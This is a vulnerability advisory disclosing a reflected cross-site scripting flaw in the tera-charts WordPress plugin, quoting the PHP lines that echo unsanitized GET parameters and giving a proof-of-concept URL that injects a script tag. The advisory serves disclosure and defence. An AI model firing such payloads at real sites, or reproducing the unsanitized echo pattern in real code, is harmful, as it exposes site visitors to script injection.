Advisory #: 455
Title: Reflected XSS in wordpress plugin tera-charts v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/tera-charts
Downloads: 1053
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: tera-charts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./tera-charts/charts/treemap.php: 52: var data_filename = "<?php echo $_GET['fn']; ?>"; 55: var chart_userid = "<?php echo $_GET['userid']; ?>"; The variable fn appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000151
File:./tera-charts/charts/treemap.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. http://wp-site/tera-charts/charts/treemap.php?fn=";</script><script>alert(1);</script><script>"&userid=1